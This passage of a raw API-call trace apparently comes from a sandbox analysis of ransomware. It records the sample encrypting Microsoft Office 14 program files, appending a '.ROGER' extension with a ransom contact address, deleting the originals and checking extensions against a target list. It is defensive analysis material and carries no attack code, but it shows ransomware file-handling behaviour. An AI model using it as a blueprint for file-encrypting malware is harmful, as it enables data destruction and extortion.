lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.036] lstrlenW (lpString=".dbf") returned 4 [0060.036] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.036] lstrlenW (lpString=".1cd") returned 4 [0060.036] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0060.036] lstrlenW (lpString=".jpg") returned 4 [0060.036] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.036] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0060.036] lstrlenW (lpString="CsiSoap.dll") returned 11 [0060.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0060.036] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1784192) returned 1 [0060.036] CloseHandle (hObject=0x3fc) returned 1 [0060.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0060.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.037] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0060.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0060.037] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0060.037] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.037] ReadFile (in: hFile=0x3fc, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.044] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.046] ReadFile (in: hFile=0x3fc, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.136] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.137] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.137] ReadFile (in: hFile=0x3fc, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.177] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.178] WriteFile (in: hFile=0x3fc, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0060.214] SetEndOfFile (hFile=0x3fc) returned 1 [0060.214] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0060.217] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.217] WriteFile (in: hFile=0x3fc, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.218] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.218] WriteFile (in: hFile=0x3fc, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.751] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0060.755] WriteFile (in: hFile=0x3fc, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0060.784] CloseHandle (hObject=0x3fc) returned 1 [0060.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.784] lstrlenW (lpString=".doc") returned 4 [0060.784] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.784] lstrlenW (lpString=".docx") returned 5 [0060.784] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.784] lstrlenW (lpString=".pdf") returned 4 [0060.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.784] lstrlenW (lpString=".xls") returned 4 [0060.784] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.784] lstrlenW (lpString=".xlsx") returned 5 [0060.784] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.784] lstrlenW (lpString=".ppt") returned 4 [0060.784] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".zip") returned 4 [0060.785] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".rar") returned 4 [0060.785] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".bz2") returned 4 [0060.785] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.785] lstrlenW (lpString=".7z") returned 3 [0060.785] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".dbf") returned 4 [0060.785] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".1cd") returned 4 [0060.785] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".jpg") returned 4 [0060.785] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".doc") returned 4 [0060.785] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".docx") returned 5 [0060.785] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0060.785] lstrlenW (lpString=".pdf") returned 4 [0060.785] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".xls") returned 4 [0060.785] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".xlsx") returned 5 [0060.785] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0060.785] lstrlenW (lpString=".ppt") returned 4 [0060.785] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.785] lstrlenW (lpString=".zip") returned 4 [0060.785] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.785] lstrlenW (lpString=".rar") returned 4 [0060.786] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.786] lstrlenW (lpString=".bz2") returned 4 [0060.786] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.786] lstrlenW (lpString=".7z") returned 3 [0060.786] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.786] lstrlenW (lpString=".dbf") returned 4 [0060.786] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.786] lstrlenW (lpString=".1cd") returned 4 [0060.786] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0060.786] lstrlenW (lpString=".jpg") returned 4 [0060.786] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.786] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0060.786] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0060.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.203] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=473952) returned 1 [0061.203] CloseHandle (hObject=0x3a0) returned 1 [0061.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0061.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.203] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.204] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0061.204] GetLastError () returned 0x0 [0061.204] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x73b60, lpOverlapped=0x0) returned 1 [0061.214] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x73b70, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x73b70, lpOverlapped=0x0) returned 1 [0061.222] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.222] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.222] SetEndOfFile (hFile=0x418) returned 1 [0061.222] CloseHandle (hObject=0x418) returned 1 [0061.223] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.223] SetEndOfFile (hFile=0x3a0) returned 1 [0061.226] CloseHandle (hObject=0x3a0) returned 1 [0061.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.227] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 1 [0061.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.227] lstrlenW (lpString=".doc") returned 4 [0061.227] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.227] lstrlenW (lpString=".docx") returned 5 [0061.227] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0061.227] lstrlenW (lpString=".pdf") returned 4 [0061.227] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.227] lstrlenW (lpString=".xls") returned 4 [0061.227] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.227] lstrlenW (lpString=".xlsx") returned 5 [0061.227] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0061.227] lstrlenW (lpString=".ppt") returned 4 [0061.227] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.227] lstrlenW (lpString=".zip") returned 4 [0061.227] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.227] lstrlenW (lpString=".rar") returned 4 [0061.227] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.227] lstrlenW (lpString=".bz2") returned 4 [0061.227] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.227] lstrlenW (lpString=".7z") returned 3 [0061.227] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.227] lstrlenW (lpString=".dbf") returned 4 [0061.227] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.227] lstrlenW (lpString=".1cd") returned 4 [0061.228] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString=".jpg") returned 4 [0061.228] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString=".doc") returned 4 [0061.228] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.228] lstrlenW (lpString=".docx") returned 5 [0061.228] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0061.228] lstrlenW (lpString=".pdf") returned 4 [0061.228] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString=".xls") returned 4 [0061.228] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString=".xlsx") returned 5 [0061.228] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0061.228] lstrlenW (lpString=".ppt") returned 4 [0061.228] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString=".zip") returned 4 [0061.228] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString=".rar") returned 4 [0061.228] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.228] lstrlenW (lpString=".bz2") returned 4 [0061.228] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.228] lstrlenW (lpString=".7z") returned 3 [0061.228] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString=".dbf") returned 4 [0061.228] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.228] lstrlenW (lpString=".1cd") returned 4 [0061.228] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0061.229] lstrlenW (lpString=".jpg") returned 4 [0061.229] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.229] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0061.229] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0061.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.229] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=121168) returned 1 [0061.229] CloseHandle (hObject=0x3a0) returned 1 [0061.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0061.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.230] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.230] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0061.230] GetLastError () returned 0x0 [0061.230] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x1d950, lpOverlapped=0x0) returned 1 [0061.237] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x1d960, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x1d960, lpOverlapped=0x0) returned 1 [0061.239] ReadFile (in: hFile=0x3a0, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.240] WriteFile (in: hFile=0x418, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.240] SetEndOfFile (hFile=0x418) returned 1 [0061.240] CloseHandle (hObject=0x418) returned 1 [0061.240] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.240] SetEndOfFile (hFile=0x3a0) returned 1 [0061.242] CloseHandle (hObject=0x3a0) returned 1 [0061.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.242] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 1 [0061.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.242] lstrlenW (lpString=".doc") returned 4 [0061.242] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.242] lstrlenW (lpString=".docx") returned 5 [0061.242] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0061.242] lstrlenW (lpString=".pdf") returned 4 [0061.242] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.242] lstrlenW (lpString=".xls") returned 4 [0061.242] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.242] lstrlenW (lpString=".xlsx") returned 5 [0061.242] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0061.242] lstrlenW (lpString=".ppt") returned 4 [0061.242] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.242] lstrlenW (lpString=".zip") returned 4 [0061.242] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".rar") returned 4 [0061.243] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString=".bz2") returned 4 [0061.243] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.243] lstrlenW (lpString=".7z") returned 3 [0061.243] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString=".dbf") returned 4 [0061.243] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString=".1cd") returned 4 [0061.243] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString=".jpg") returned 4 [0061.243] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0061.243] lstrlenW (lpString=".doc") returned 4 [0061.243] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.243] lstrlenW (lpString=".docx") returned 5 